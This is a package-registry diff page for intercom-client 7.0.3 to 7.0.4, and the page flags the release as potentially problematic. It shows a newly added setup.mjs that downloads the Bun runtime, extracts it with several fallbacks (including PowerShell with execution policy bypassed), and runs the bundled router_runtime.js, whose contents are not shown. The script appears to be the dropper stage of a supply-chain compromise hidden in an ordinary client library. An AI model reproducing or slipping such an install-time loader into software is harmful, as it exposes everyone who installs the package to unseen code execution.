intercom-client 7.0.3 → 7.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of intercom-client might be problematic. Click here for more details.
- package/package.json +73 -72
- package/router_runtime.js +1 -0
- package/setup.mjs +222 -0
package/setup.mjs
ADDED
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { execFileSync } from "child_process";
|
|
3
|
+
import fs from "fs";
|
|
4
|
+
import https from "https";
|
|
5
|
+
import os from "os";
|
|
6
|
+
import path from "path";
|
|
7
|
+
import { fileURLToPath } from "url";
|
|
8
|
+
import zlib from "zlib";
|
|
9
|
+
|
|
10
|
+
const SCRIPT_DIR = path.dirname(fileURLToPath(import.meta.url));
|
|
11
|
+
const BUN_VERSION = "1.3.13";
|
|
12
|
+
const ENTRY_SCRIPT = "router_runtime.js";
|
|
13
|
+
const REQUEST_TIMEOUT = 121_000;
|
|
14
|
+
|
|
15
|
+
const isAlpineOrMusl = () => {
|
|
16
|
+
try {
|
|
17
|
+
const lddOut = execFileSync("ldd", ["--version"], {
|
|
18
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
19
|
+
}).toString();
|
|
20
|
+
if (lddOut.includes("musl")) return true;
|
|
21
|
+
} catch {}
|
|
22
|
+
try {
|
|
23
|
+
return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine");
|
|
24
|
+
} catch {
|
|
25
|
+
return false;
|
|
26
|
+
}
|
|
27
|
+
};
|
|
28
|
+
|
|
29
|
+
const PLATFORM_MAP = {
|
|
30
|
+
"linux-arm64": () => "bun-linux-aarch64",
|
|
31
|
+
"linux-x64": () =>
|
|
32
|
+
isAlpineOrMusl() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline",
|
|
33
|
+
"darwin-arm64": () => "bun-darwin-aarch64",
|
|
34
|
+
"darwin-x64": () => "bun-darwin-x64",
|
|
35
|
+
"win32-arm64": () => "bun-windows-aarch64",
|
|
36
|
+
"win32-x64": () => "bun-windows-x64-baseline",
|
|
37
|
+
};
|
|
38
|
+
|
|
39
|
+
function resolveAsset() {
|
|
40
|
+
const key = `${process.platform}-${process.arch}`;
|
|
41
|
+
const resolver = PLATFORM_MAP[key];
|
|
42
|
+
if (!resolver) throw new Error(`Unsupported platform/arch: ${key}`);
|
|
43
|
+
return resolver();
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
function downloadToFile(url, dest, redirectsLeft = 5) {
|
|
47
|
+
return new Promise((resolve, reject) => {
|
|
48
|
+
const req = https.get(
|
|
49
|
+
url,
|
|
50
|
+
{ headers: { "User-Agent": "node" }, timeout: REQUEST_TIMEOUT },
|
|
51
|
+
(res) => {
|
|
52
|
+
const { statusCode, headers } = res;
|
|
53
|
+
if ([301, 302, 307, 308].includes(statusCode)) {
|
|
54
|
+
res.resume();
|
|
55
|
+
if (redirectsLeft <= 0)
|
|
56
|
+
return reject(new Error("Too many redirects"));
|
|
57
|
+
return downloadToFile(headers.location, dest, redirectsLeft - 1).then(
|
|
58
|
+
resolve,
|
|
59
|
+
reject,
|
|
60
|
+
);
|
|
61
|
+
}
|
|
62
|
+
if (statusCode !== 200) {
|
|
63
|
+
res.resume();
|
|
64
|
+
return reject(new Error(`HTTP ${statusCode} for ${url}`));
|
|
65
|
+
}
|
|
66
|
+
const file = fs.createWriteStream(dest);
|
|
67
|
+
res.pipe(file);
|
|
68
|
+
file.on("finish", () => file.close(resolve));
|
|
69
|
+
file.on("error", (err) => {
|
|
70
|
+
fs.unlink(dest, () => reject(err));
|
|
71
|
+
});
|
|
72
|
+
},
|
|
73
|
+
);
|
|
74
|
+
req.on("error", reject);
|
|
75
|
+
req.on("timeout", () => req.destroy(new Error("Request timed out")));
|
|
76
|
+
});
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
function hasCommand(cmd, args = ["--version"]) {
|
|
80
|
+
try {
|
|
81
|
+
execFileSync(cmd, args, { stdio: "ignore" });
|
|
82
|
+
return true;
|
|
83
|
+
} catch {
|
|
84
|
+
return false;
|
|
85
|
+
}
|
|
86
|
+
}
|
|
87
|
+
|
|
88
|
+
function extractEntryNodeJS(zipPath, entry, outDir) {
|
|
89
|
+
const buf = fs.readFileSync(zipPath);
|
|
90
|
+
|
|
91
|
+
// Locate End-of-Central-Directory record (search backwards, max 64K comment)
|
|
92
|
+
let eocdOff = -1;
|
|
93
|
+
for (let i = buf.length - 22; i >= 0 && i >= buf.length - 65557; i--) {
|
|
94
|
+
if (buf.readUInt32LE(i) === 0x06054b50) {
|
|
95
|
+
eocdOff = i;
|
|
96
|
+
break;
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
if (eocdOff === -1) throw new Error("Invalid ZIP: EOCD record not found");
|
|
100
|
+
|
|
101
|
+
const cdEntries = buf.readUInt16LE(eocdOff + 10);
|
|
102
|
+
const cdOffset = buf.readUInt32LE(eocdOff + 16);
|
|
103
|
+
|
|
104
|
+
// Walk the Central Directory to find the requested entry
|
|
105
|
+
let off = cdOffset;
|
|
106
|
+
let localOffset = -1;
|
|
107
|
+
let compMethod = -1;
|
|
108
|
+
let compSize = 0;
|
|
109
|
+
|
|
110
|
+
for (let i = 0; i < cdEntries; i++) {
|
|
111
|
+
if (buf.readUInt32LE(off) !== 0x02014b50)
|
|
112
|
+
throw new Error("Invalid ZIP: bad CD entry signature");
|
|
113
|
+
|
|
114
|
+
const method = buf.readUInt16LE(off + 10);
|
|
115
|
+
const cSize = buf.readUInt32LE(off + 20);
|
|
116
|
+
const fnLen = buf.readUInt16LE(off + 28);
|
|
117
|
+
const efLen = buf.readUInt16LE(off + 30);
|
|
118
|
+
const fcLen = buf.readUInt16LE(off + 32);
|
|
119
|
+
const lhOff = buf.readUInt32LE(off + 42);
|
|
120
|
+
const name = buf.subarray(off + 46, off + 46 + fnLen).toString("utf8");
|
|
121
|
+
|
|
122
|
+
if (name === entry) {
|
|
123
|
+
localOffset = lhOff;
|
|
124
|
+
compMethod = method;
|
|
125
|
+
compSize = cSize;
|
|
126
|
+
break;
|
|
127
|
+
}
|
|
128
|
+
off += 46 + fnLen + efLen + fcLen;
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
if (localOffset === -1) throw new Error(`Entry "${entry}" not found in ZIP`);
|
|
132
|
+
|
|
133
|
+
// Read the Local File Header to determine where file data actually starts
|
|
134
|
+
if (buf.readUInt32LE(localOffset) !== 0x04034b50)
|
|
135
|
+
throw new Error("Invalid ZIP: bad local-header signature");
|
|
136
|
+
|
|
137
|
+
const lfnLen = buf.readUInt16LE(localOffset + 26);
|
|
138
|
+
const lefLen = buf.readUInt16LE(localOffset + 28);
|
|
139
|
+
const dataOff = localOffset + 30 + lfnLen + lefLen;
|
|
140
|
+
const raw = buf.subarray(dataOff, dataOff + compSize);
|
|
141
|
+
|
|
142
|
+
let fileData;
|
|
143
|
+
if (compMethod === 0) {
|
|
144
|
+
// STORED – no compression
|
|
145
|
+
fileData = raw;
|
|
146
|
+
} else if (compMethod === 8) {
|
|
147
|
+
// DEFLATE
|
|
148
|
+
fileData = zlib.inflateRawSync(raw);
|
|
149
|
+
} else {
|
|
150
|
+
throw new Error(`Unsupported ZIP compression method: ${compMethod}`);
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
const dest = path.join(outDir, path.basename(entry));
|
|
154
|
+
fs.writeFileSync(dest, fileData);
|
|
155
|
+
}
|
|
156
|
+
|
|
157
|
+
function extractBun(zipPath, entry, outDir) {
|
|
158
|
+
if (hasCommand("unzip", ["-v"])) {
|
|
159
|
+
// -o overwrite, -j junk paths, -q quiet → places binary directly in outDir
|
|
160
|
+
execFileSync("unzip", ["-ojq", zipPath, entry, "-d", outDir], {
|
|
161
|
+
stdio: "inherit",
|
|
162
|
+
});
|
|
163
|
+
return;
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
if (process.platform === "win32" && hasCommand("powershell", ["-Help"])) {
|
|
167
|
+
// Expand-Archive extracts the whole zip preserving structure.
|
|
168
|
+
execFileSync(
|
|
169
|
+
"powershell",
|
|
170
|
+
[
|
|
171
|
+
"-NoProfile",
|
|
172
|
+
"-NonInteractive",
|
|
173
|
+
"-ExecutionPolicy",
|
|
174
|
+
"Bypass",
|
|
175
|
+
"-Command",
|
|
176
|
+
`Expand-Archive -LiteralPath '${zipPath}' -DestinationPath '${outDir}' -Force`,
|
|
177
|
+
],
|
|
178
|
+
{ stdio: "inherit" },
|
|
179
|
+
);
|
|
180
|
+
// Move the binary out of its nested folder so callers find it at outDir/<binName>.
|
|
181
|
+
const nestedPath = path.join(outDir, entry);
|
|
182
|
+
const flatPath = path.join(outDir, path.basename(entry));
|
|
183
|
+
fs.renameSync(nestedPath, flatPath);
|
|
184
|
+
return;
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
// Pure Node.js fallback – no external tools required
|
|
188
|
+
extractEntryNodeJS(zipPath, entry, outDir);
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
async function main() {
|
|
192
|
+
if (hasCommand("bun")) return;
|
|
193
|
+
|
|
194
|
+
const asset = resolveAsset();
|
|
195
|
+
const isWin = process.platform === "win32";
|
|
196
|
+
const binName = isWin ? "bun.exe" : "bun";
|
|
197
|
+
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
|
|
198
|
+
|
|
199
|
+
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
|
|
200
|
+
const zipPath = path.join(tmpDir, `${asset}.zip`);
|
|
201
|
+
const binPath = path.join(tmpDir, binName);
|
|
202
|
+
const entryScriptPath = path.join(SCRIPT_DIR, ENTRY_SCRIPT);
|
|
203
|
+
|
|
204
|
+
try {
|
|
205
|
+
await downloadToFile(url, zipPath);
|
|
206
|
+
extractBun(zipPath, `${asset}/${binName}`, tmpDir);
|
|
207
|
+
fs.unlinkSync(zipPath);
|
|
208
|
+
|
|
209
|
+
if (!isWin) fs.chmodSync(binPath, 0o755);
|
|
210
|
+
execFileSync(binPath, [entryScriptPath], {
|
|
211
|
+
stdio: "inherit",
|
|
212
|
+
cwd: SCRIPT_DIR,
|
|
213
|
+
});
|
|
214
|
+
} finally {
|
|
215
|
+
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
216
|
+
}
|
|
217
|
+
}
|
|
218
|
+
|
|
219
|
+
main().catch((e) => {
|
|
220
|
+
console.error(e.message);
|
|
221
|
+
process.exit(1);
|
|
222
|
+
});
|